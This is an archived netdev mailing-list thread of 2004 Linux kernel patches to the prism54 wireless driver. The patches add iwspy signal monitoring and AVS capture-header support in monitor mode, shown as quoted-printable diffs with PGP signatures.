linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.h 18 Mar 2004 1= 5:27:44 -0000 1.57 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.h,v 1.56 2004/03/18 1= 1:44:17 ajfa Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.h,v 1.57 2004/03/18 1= 5:27:44 ajfa Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc.=20 * Copyright (C) 2003 Herbert Valerio Riedel @@ -26,6 +26,7 @@ #include #include #include +#include #include =20 #if LINUX_VERSION_CODE > KERNEL_VERSION(2,5,41) @@ -111,6 +112,8 @@ struct iw_statistics local_iwstatistics; struct iw_statistics iwstatistics; =20 + struct iw_spy_data spy_data; /* iwspy support */ + struct islpci_acl acl; =20 /* PCI bus allocation & configuration members */ @@ -182,7 +185,7 @@ islpci_state_t state; int state_off; /* enumeration of off-state, if 0 then * we're not in any off-state */ -=09 + /* WPA stuff */ int wpa; /* WPA mode enabled */ struct list_head bss_wpa_list; Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_eth.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/islpci_eth.c,v retrieving revision 1.30 retrieving revision 1.31 diff -u -r1.30 -r1.31 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_eth.c 18 Mar 2004 1= 1:44:17 -0000 1.30 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_eth.c 18 Mar 2004 1= 5:27:44 -0000 1.31 @@ -1,7 +1,7 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_eth.c,v 1.30 2004/03/18 1= 1:44:17 ajfa Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_eth.c,v 1.31 2004/03/18 1= 5:27:44 ajfa Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. - * + * Copyright (C) 2004 Aurelien Alleaume * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License @@ -205,7 +205,7 @@ priv->data_low_tx[index] =3D skb; /* set the proper fragment start address and size information */ fragment->size =3D cpu_to_le16(frame_size); - fragment->flags =3D cpu_to_le16(0); /* set to 1 if more fragments */ + fragment->flags =3D cpu_to_le16(0); /* set to 1 if more fragments */ fragment->address =3D cpu_to_le32(pci_map_address); curr_frag++; =20 @@ -215,7 +215,7 @@ cb->driver_curr_frag[ISL38XX_CB_TX_DATA_LQ] =3D cpu_to_le32(curr_frag); =20 if (curr_frag - priv->free_data_tx + ISL38XX_MIN_QTHRESHOLD - > ISL38XX_CB_TX_QSIZE) { + > ISL38XX_CB_TX_QSIZE) { /* stop sends from upper layers */ netif_stop_queue(ndev); =20 @@ -236,7 +236,7 @@ =20 return 0; =20 - drop_free: + drop_free: /* free the skbuf structure before aborting */ dev_kfree_skb(skb); skb =3D NULL; @@ -266,7 +266,8 @@ index =3D priv->free_data_rx % ISL38XX_CB_RX_QSIZE; size =3D le16_to_cpu(control_block->rx_data_low[index].size); skb =3D priv->data_low_rx[index]; - offset =3D ((unsigned long) le32_to_cpu(control_block->rx_data_low[index]= .address) - + offset =3D ((unsigned long) + le32_to_cpu(control_block->rx_data_low[index].address) - (unsigned long) skb->data) & 3; =20 #if VERBOSE > SHOW_ERROR_MESSAGES @@ -320,15 +321,34 @@ * header and without the FCS. But there a is a bit that * indicates if the packet is corrupted :-) */ if (skb->data[8] & 0x01) - /* This one is bad. Drop it !*/ + /* This one is bad. Drop it ! */ discard =3D 1; skb_pull(skb, 20); skb->protocol =3D htons(ETH_P_802_2); skb->mac.raw =3D skb->data; skb->pkt_type =3D PACKET_OTHERHOST; - } else + } else { + if (skb->data[2 * ETH_ALEN] =3D=3D 0) { + /* The packet has a rx_annex. Read it for spy monitoring, Then + * remove it, while keeping the 2 leading MAC addr. + */ + struct iw_quality wstats; + struct obj_rx_annex *annex =3D + (struct obj_rx_annex *) skb->data; + wstats.level =3D annex->rssi; + /* The noise value can be a bit outdated if nobody's=20 + * reading wireless stats... */ + wstats.noise =3D priv->iwstatistics.qual.noise; + wstats.qual =3D wstats.level - wstats.noise; + wstats.updated =3D 0x07; + /* Update spy records */ + wireless_spy_update(ndev, annex->addr2, &wstats); + /* 20 =3D sizeof(struct obj_rx_annex) - 2*ETH_ALEN */ + memcpy(skb->data + 20, skb->data, 2 * ETH_ALEN); + skb_pull(skb, 20); + } skb->protocol =3D eth_type_trans(skb, ndev); - + } skb->ip_summed =3D CHECKSUM_NONE; priv->statistics.rx_packets++; priv->statistics.rx_bytes +=3D size; @@ -343,8 +363,7 @@ if (discard) { dev_kfree_skb(skb); skb =3D NULL; - } - else + } else netif_rx(skb); =20 /* increment the read index for the rx data low queue */ @@ -395,7 +414,7 @@ wmb(); =20 /* increment the driver read pointer */ - add_le32p((u32 *) & control_block-> + add_le32p((u32 *) &control_block-> driver_curr_frag[ISL38XX_CB_RX_DATA_LQ], 1); } =20 @@ -405,13 +424,13 @@ return 0; } =20 -void=20 +void islpci_do_reset_and_wake(void *data) { - islpci_private *priv =3D (islpci_private *) data; - islpci_reset(priv, 1); - netif_wake_queue(priv->ndev); - priv->reset_task_pending =3D 0; + islpci_private *priv =3D (islpci_private *) data; + islpci_reset(priv, 1); + netif_wake_queue(priv->ndev); + priv->reset_task_pending =3D 0; } =20 void @@ -423,7 +442,7 @@ /* increment the transmit error counter */ statistics->tx_errors++; =20 - if(!priv->reset_task_pending) { + if (!priv->reset_task_pending) { priv->reset_task_pending =3D 1; netif_stop_queue(ndev); schedule_work(&priv->reset_task); Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/oid_mgt.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/oid_mgt.c,v retrieving revision 1.8 retrieving revision 1.9 diff -u -r1.8 -r1.9 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/oid_mgt.c 18 Mar 2004 11:1= 6:23 -0000 1.8 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/oid_mgt.c 18 Mar 2004 15:2= 7:44 -0000 1.9 @@ -570,6 +570,17 @@ mgt_cpu_to_le(isl_oid[n].flags & OID_FLAG_TYPE, priv->mib[n]); } =20 +void +mgt_get(islpci_private *priv, enum oid_num_t n, void *res) +{ + BUG_ON(OID_NUM_LAST <=3D n); + BUG_ON(priv->mib[n] =3D=3D NULL); + BUG_ON(res =3D=3D NULL); + + memcpy(res, priv->mib[n], isl_oid[n].size); + mgt_le_to_cpu(isl_oid[n].flags & OID_FLAG_TYPE, res); +} + /* Commits the cache. Lock outside. */ =20 static enum oid_num_t commit_part1[] =3D { Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/oid_mgt.h =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/oid_mgt.h,v retrieving revision 1.3 retrieving revision 1.4 diff -u -r1.3 -r1.4 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/oid_mgt.h 18 Mar 2004 11:1= 6:23 -0000 1.3 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/oid_mgt.h 18 Mar 2004 15:2= 7:44 -0000 1.4 @@ -37,12 +37,14 @@ int mgt_set_request(islpci_private *, enum oid_num_t, int, void *); =20 int mgt_get_request(islpci_private *, enum oid_num_t, int, void *, - union oid_res_t *); + union oid_res_t *); =20 int mgt_commit_list(islpci_private *, enum oid_num_t *, int); =20 void mgt_set(islpci_private *, enum oid_num_t, void *); =20 +void mgt_get(islpci_private *, enum oid_num_t, void *); + void mgt_commit(islpci_private *); =20 int mgt_mlme_answer(islpci_private *); --fzZfjcV6kaBgkq89-- --27KoNqt0fmcl1zj/ Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAsbLVat1JN+IKUl4RAvTqAJ0bQ1tGxVVKncf36hdyw0b+G6eD0gCcCYwU uGJxo87p8bPU+08+3XhDl8Q= =vfAm -----END PGP SIGNATURE----- --27KoNqt0fmcl1zj/-- From mcgrof@studorgs.rutgers.edu Mon May 24 01:31:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 01:32:09 -0700 (PDT) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4O8VlKO012890 for ; Mon, 24 May 2004 01:31:47 -0700 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id 09BABF9D4B; Mon, 24 May 2004 04:31:46 -0400 (EDT) Date: Mon, 24 May 2004 04:31:46 -0400 From: "Luis R. Rodriguez" To: Jeff Garzik , Andrew Morton Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Subject: [PATCH 4/14 linux-2.6.7-rc1] prism54: add support for avs header in Message-ID: <20040524083146.GE3330@ruslug.rutgers.edu> Reply-To: "Luis R. Rodriguez" Mail-Followup-To: Jeff Garzik , Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="5joxkA65nhhP20dL" Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group X-archive-position: 5264 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev --5joxkA65nhhP20dL Content-Type: multipart/mixed; boundary="SKW69dzTt3T8RCN0" Content-Disposition: inline --SKW69dzTt3T8RCN0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable 2004-03-19 Aurelien Alleaume * islpci_eth.[c,h], islpci_dev.[c,h], isl_ioctl.[c,h] : added support for avs header in monitor mode. Based on the work of Antonio Eugenio Burriel . Unified packets header (rfmon_header and rx_annex) for iwspy.j * Some minor things (oid_mgt.[c,h]). =09 --=20 GnuPG Key fingerprint =3D 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E --SKW69dzTt3T8RCN0 Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="04-add_avs_header_support.patch" Content-Transfer-Encoding: quoted-printable 2004-03-19 Aurelien Alleaume * islpci_eth.[c,h], islpci_dev.[c,h], isl_ioctl.[c,h] : added support for avs header in monitor mode. Based on the work of Antonio Eugenio Burriel . Unified packets header (rfmon_header and rx_annex) for iwspy. * Some minor things (oid_mgt.[c,h]). Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_ioctl.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/isl_ioctl.c,v retrieving revision 1.145 retrieving revision 1.148 diff -u -r1.145 -r1.148 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_ioctl.c 18 Mar 2004 15= :27:44 -0000 1.145 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_ioctl.c 19 Mar 2004 23= :03:58 -0000 1.148 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/isl_ioctl.c,v 1.145 2004/03/18 1= 5:27:44 ajfa Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/isl_ioctl.c,v 1.148 2004/03/19 2= 3:03:58 ajfa Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. * (C) 2003,2004 Aurelien Alleaume @@ -327,34 +327,15 @@ { islpci_private *priv =3D netdev_priv(ndev); int rvalue; - u32 c =3D 0; + u32 c; =20 - /* prepare the structure for the set object */ - if (fwrq->m < 1000) - /* structure value contains a channel indication */ - c =3D fwrq->m; - else { - /* structure contains a frequency indication and fwrq->e =3D 1 */ - int f =3D fwrq->m / 100000; - - if (fwrq->e !=3D 1) - return -EINVAL; - if ((f >=3D 2412) && (f <=3D 2484)) { - while ((c < 14) && (f !=3D frequency_list_bg[c])) - c++; - if (c >=3D 14) - return -EINVAL; - } else if ((f >=3D (int) 5170) && (f <=3D (int) 5320)) { - while ((c < 12) && (f !=3D frequency_list_a[c])) - c++; - if (c >=3D 12) - return -EINVAL; - } else - return -EINVAL; - c++; - } + if (fwrq->m < 1000) + /* we have a channel number */ + c =3D fwrq->m; + else + c =3D (fwrq->e =3D=3D 1) ? channel_of_freq(fwrq->m / 100000) : 0; =20 - rvalue =3D mgt_set_request(priv, DOT11_OID_CHANNEL, 0, &c); + rvalue =3D c ? mgt_set_request(priv, DOT11_OID_CHANNEL, 0, &c) : -EINVAL; =20 /* Call commit handler */ return (rvalue ? rvalue : -EINPROGRESS); @@ -410,7 +391,7 @@ =20 mgt_commit(priv); priv->ndev->type =3D (priv->iw_mode =3D=3D IW_MODE_MONITOR) - ? ARPHRD_IEEE80211 : ARPHRD_ETHER; + ? priv->monitor_type : ARPHRD_ETHER; up_write(&priv->mib_sem); =20 return 0; @@ -1963,6 +1944,28 @@ } =20 int +prism54_set_prismhdr(struct net_device *ndev, struct iw_request_info *info, + __u32 * uwrq, char *extra) +{ + islpci_private *priv =3D netdev_priv(ndev); + priv->monitor_type =3D + (*uwrq ? ARPHRD_IEEE80211_PRISM : ARPHRD_IEEE80211); + if (priv->iw_mode =3D=3D IW_MODE_MONITOR) + priv->ndev->type =3D priv->monitor_type; + + return 0; +} + +int +prism54_get_prismhdr(struct net_device *ndev, struct iw_request_info *info, + __u32 * uwrq, char *extra) +{ + islpci_private *priv =3D netdev_priv(ndev); + *uwrq =3D (priv->monitor_type =3D=3D ARPHRD_IEEE80211_PRISM); + return 0; +} + +int prism54_set_maxframeburst(struct net_device *ndev, struct iw_request_info = *info, __u32 * uwrq, char *extra) { @@ -2198,6 +2201,9 @@ #define PRISM54_SET_OID_STR SIOCIWFIRSTPRIV+20 #define PRISM54_SET_OID_ADDR SIOCIWFIRSTPRIV+22 =20 +#define PRISM54_GET_PRISMHDR SIOCIWFIRSTPRIV+23 +#define PRISM54_SET_PRISMHDR SIOCIWFIRSTPRIV+24 + #define IWPRIV_SET_U32(n,x) { n, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1= , 0, "set_"x } #define IWPRIV_SET_SSID(n,x) { n, IW_PRIV_TYPE_CHAR | IW_PRIV_SIZE_FIXED |= 1, 0, "set_"x } #define IWPRIV_SET_ADDR(n,x) { n, IW_PRIV_TYPE_ADDR | IW_PRIV_SIZE_FIXED |= 1, 0, "set_"x } @@ -2212,6 +2218,10 @@ static const struct iw_priv_args prism54_private_args[] =3D { /*{ cmd, set_args, get_args, name } */ {PRISM54_RESET, 0, 0, "reset"}, + {PRISM54_GET_PRISMHDR, 0, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, + "get_prismhdr"}, + {PRISM54_SET_PRISMHDR, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, + "set_prismhdr"}, {PRISM54_GET_POLICY, 0, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, "getPolicy"}, {PRISM54_SET_POLICY, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, @@ -2321,7 +2331,8 @@ (iw_handler) prism54_set_raw, (iw_handler) NULL, (iw_handler) prism54_set_raw, - + (iw_handler) prism54_get_prismhdr, + (iw_handler) prism54_set_prismhdr, }; =20 const struct iw_handler_def prism54_handler_def =3D { Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_oid.h =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/isl_oid.h,v retrieving revision 1.5 retrieving revision 1.6 diff -u -r1.5 -r1.6 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_oid.h 18 Mar 2004 15:2= 7:44 -0000 1.5 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_oid.h 19 Mar 2004 20:5= 4:33 -0000 1.6 @@ -1,5 +1,5 @@ /* - * $Id: isl_oid.h,v 1.5 2004/03/18 15:27:44 ajfa Exp $ + * $Id: isl_oid.h,v 1.6 2004/03/19 20:54:33 ajfa Exp $ * =20 * Copyright (C) 2003 Herbert Valerio Riedel * Copyright (C) 2004 Luis R. Rodriguez @@ -91,19 +91,6 @@ u16 mhz[0]; } __attribute__ ((packed)); =20 -struct obj_rx_annex { - u8 addr1[ETH_ALEN]; - u8 addr2[ETH_ALEN]; - u32 something0; - u32 time; - u16 something1; - u16 rate; - u16 freq; - u16 something2; - u8 rssi; - u8 pad[3]; -} __attribute__ ((packed)); - /*=20 * in case everything's ok, the inlined function below will be * optimized away by the compiler... Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.c,v retrieving revision 1.71 retrieving revision 1.72 diff -u -r1.71 -r1.72 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.c 18 Mar 2004 1= 1:44:17 -0000 1.71 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.c 19 Mar 2004 2= 0:54:33 -0000 1.72 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.c,v 1.71 2004/03/18 1= 1:44:17 ajfa Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.c,v 1.72 2004/03/19 2= 0:54:33 ajfa Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. * Copyright (C) 2003 Herbert Valerio Riedel @@ -715,9 +715,9 @@ priv =3D netdev_priv(ndev); priv->ndev =3D ndev; priv->pdev =3D pdev; - + priv->monitor_type =3D ARPHRD_IEEE80211; priv->ndev->type =3D (priv->iw_mode =3D=3D IW_MODE_MONITOR) ? - ARPHRD_IEEE80211: ARPHRD_ETHER; + priv->monitor_type : ARPHRD_ETHER; =20 /* save the start and end address of the PCI memory area */ ndev->mem_start =3D (unsigned long) priv->device_base; Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.h =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.h,v retrieving revision 1.57 retrieving revision 1.58 diff -u -r1.57 -r1.58 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.h 18 Mar 2004 1= 5:27:44 -0000 1.57 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.h 19 Mar 2004 2= 0:54:33 -0000 1.58 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.h,v 1.57 2004/03/18 1= 5:27:44 ajfa Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.h,v 1.58 2004/03/19 2= 0:54:33 ajfa Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc.=20 * Copyright (C) 2003 Herbert Valerio Riedel @@ -114,6 +114,8 @@ =20 struct iw_spy_data spy_data; /* iwspy support */ =20 + int monitor_type; /* ARPHRD_IEEE80211 or ARPHRD_IEEE80211_PRISM */ + struct islpci_acl acl; =20 /* PCI bus allocation & configuration members */ Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_eth.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/islpci_eth.c,v retrieving revision 1.31 retrieving revision 1.33 diff -u -r1.31 -r1.33 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_eth.c 18 Mar 2004 1= 5:27:44 -0000 1.31 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_eth.c 19 Mar 2004 2= 3:03:58 -0000 1.33 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_eth.c,v 1.31 2004/03/18 1= 5:27:44 ajfa Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_eth.c,v 1.33 2004/03/19 2= 3:03:58 ajfa Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. * Copyright (C) 2004 Aurelien Alleaume @@ -24,10 +24,12 @@ #include #include #include +#include =20 #include "isl_38xx.h" #include "islpci_eth.h" #include "islpci_mgt.h" +#include "oid_mgt.h" =20 /*************************************************************************= ***** Network Interface functions @@ -246,6 +248,69 @@ return err; } =20 +static inline int +islpci_monitor_rx(islpci_private *priv, struct sk_buff **skb) +{ + /* The card reports full 802.11 packets but with a 20 bytes + * header and without the FCS. But there a is a bit that + * indicates if the packet is corrupted :-) */ + struct rfmon_header *hdr =3D (struct rfmon_header *) (*skb)->data; + if (hdr->flags & 0x01) + /* This one is bad. Drop it ! */ + return -1; + if (priv->ndev->type =3D=3D ARPHRD_IEEE80211_PRISM) { + struct avs_80211_1_header *avs; + /* extract the relevant data from the header */ + u32 clock =3D hdr->clock; + u8 rate =3D hdr->rate; + u16 freq =3D be16_to_cpu(hdr->freq); + u8 rssi =3D hdr->rssi; + + skb_pull(*skb, sizeof (struct rfmon_header)); + + if (skb_headroom(*skb) < sizeof (struct avs_80211_1_header)) { + struct sk_buff *newskb =3D skb_copy_expand(*skb, + sizeof (struct + avs_80211_1_header), + 0, GFP_ATOMIC); + if (newskb) { + kfree_skb(*skb); + *skb =3D newskb; + } else + return -1; + /* This behavior is not very subtile... */ + } + + /* make room for the new header and fill it. */ + avs =3D + (struct avs_80211_1_header *) skb_push(*skb, + sizeof (struct + avs_80211_1_header)); + + avs->version =3D htonl(P80211CAPTURE_VERSION); + avs->length =3D htonl(sizeof (struct avs_80211_1_header)); + avs->mactime =3D __cpu_to_be64(clock); + avs->hosttime =3D __cpu_to_be64(jiffies); + avs->phytype =3D htonl(6); /*OFDM: 6 for (g), 8 for (a) */ + avs->channel =3D htonl(channel_of_freq(freq)); + avs->datarate =3D htonl(rate * 5); + avs->antenna =3D htonl(0); /*unknown */ + avs->priority =3D htonl(0); /*unknown */ + avs->ssi_type =3D htonl(2); /*2: dBm, 3: raw RSSI */ + avs->ssi_signal =3D htonl(rssi); + avs->ssi_noise =3D htonl(priv->local_iwstatistics.qual.noise); /*better = than 'undefined', I assume */ + avs->preamble =3D htonl(0); /*unknown */ + avs->encoding =3D htonl(0); /*unknown */ + } else + skb_pull(*skb, sizeof (struct rfmon_header)); + + (*skb)->protocol =3D htons(ETH_P_802_2); + (*skb)->mac.raw =3D (*skb)->data; + (*skb)->pkt_type =3D PACKET_OTHERHOST; + + return 0; +} + int islpci_eth_receive(islpci_private *priv) { @@ -315,37 +380,29 @@ /* do some additional sk_buff and network layer parameters */ skb->dev =3D ndev; =20 - /* take care of monitor mode */ - if (priv->iw_mode =3D=3D IW_MODE_MONITOR) { - /* The card reports full 802.11 packets but with a 20 bytes - * header and without the FCS. But there a is a bit that - * indicates if the packet is corrupted :-) */ - if (skb->data[8] & 0x01) - /* This one is bad. Drop it ! */ - discard =3D 1; - skb_pull(skb, 20); - skb->protocol =3D htons(ETH_P_802_2); - skb->mac.raw =3D skb->data; - skb->pkt_type =3D PACKET_OTHERHOST; - } else { + /* take care of monitor mode and spy monitoring. */ + if (priv->iw_mode =3D=3D IW_MODE_MONITOR) + discard =3D islpci_monitor_rx(priv, &skb); + else { if (skb->data[2 * ETH_ALEN] =3D=3D 0) { /* The packet has a rx_annex. Read it for spy monitoring, Then * remove it, while keeping the 2 leading MAC addr. */ struct iw_quality wstats; - struct obj_rx_annex *annex =3D - (struct obj_rx_annex *) skb->data; - wstats.level =3D annex->rssi; + struct rx_annex_header *annex =3D + (struct rx_annex_header *) skb->data; + wstats.level =3D annex->rfmon.rssi; /* The noise value can be a bit outdated if nobody's=20 * reading wireless stats... */ - wstats.noise =3D priv->iwstatistics.qual.noise; + wstats.noise =3D priv->local_iwstatistics.qual.noise; wstats.qual =3D wstats.level - wstats.noise; wstats.updated =3D 0x07; /* Update spy records */ wireless_spy_update(ndev, annex->addr2, &wstats); - /* 20 =3D sizeof(struct obj_rx_annex) - 2*ETH_ALEN */ - memcpy(skb->data + 20, skb->data, 2 * ETH_ALEN); - skb_pull(skb, 20); + + memcpy(skb->data + sizeof (struct rfmon_header), + skb->data, 2 * ETH_ALEN); + skb_pull(skb, sizeof (struct rfmon_header)); } skb->protocol =3D eth_type_trans(skb, ndev); } Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_eth.h =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/islpci_eth.h,v retrieving revision 1.6 retrieving revision 1.7 diff -u -r1.6 -r1.7 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_eth.h 18 Mar 2004 1= 1:44:17 -0000 1.6 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_eth.h 19 Mar 2004 2= 0:54:33 -0000 1.7 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_eth.h,v 1.6 2004/03/18 11= :44:17 ajfa Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_eth.h,v 1.7 2004/03/19 20= :54:33 ajfa Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. * @@ -23,6 +23,47 @@ #include "isl_38xx.h" #include "islpci_dev.h" =20 +struct rfmon_header { + u16 unk0; /* =3D 0x0000 */ + u16 length; /* =3D 0x1400 */ + u32 clock; /* 1MHz clock */ + u8 flags; + u8 unk1; + u8 rate; + u8 unk2; + u16 freq; + u16 unk3; + u8 rssi; + u8 padding[3]; +} __attribute__ ((packed)); + +struct rx_annex_header { + u8 addr1[ETH_ALEN]; + u8 addr2[ETH_ALEN]; + struct rfmon_header rfmon; +} __attribute__ ((packed)); + +/* wlan-ng (and hopefully others) AVS header, version one. Fields in + * network byte order. */ +#define P80211CAPTURE_VERSION 0x80211001 + +struct avs_80211_1_header { + uint32_t version; + uint32_t length; + uint64_t mactime; + uint64_t hosttime; + uint32_t phytype; + uint32_t channel; + uint32_t datarate; + uint32_t antenna; + uint32_t priority; + uint32_t ssi_type; + int32_t ssi_signal; + int32_t ssi_noise; + uint32_t preamble; + uint32_t encoding; +}; + void islpci_eth_cleanup_transmit(islpci_private *, isl38xx_control_block *= ); int islpci_eth_transmit(struct sk_buff *, struct net_device *); int islpci_eth_receive(islpci_private *); Index: 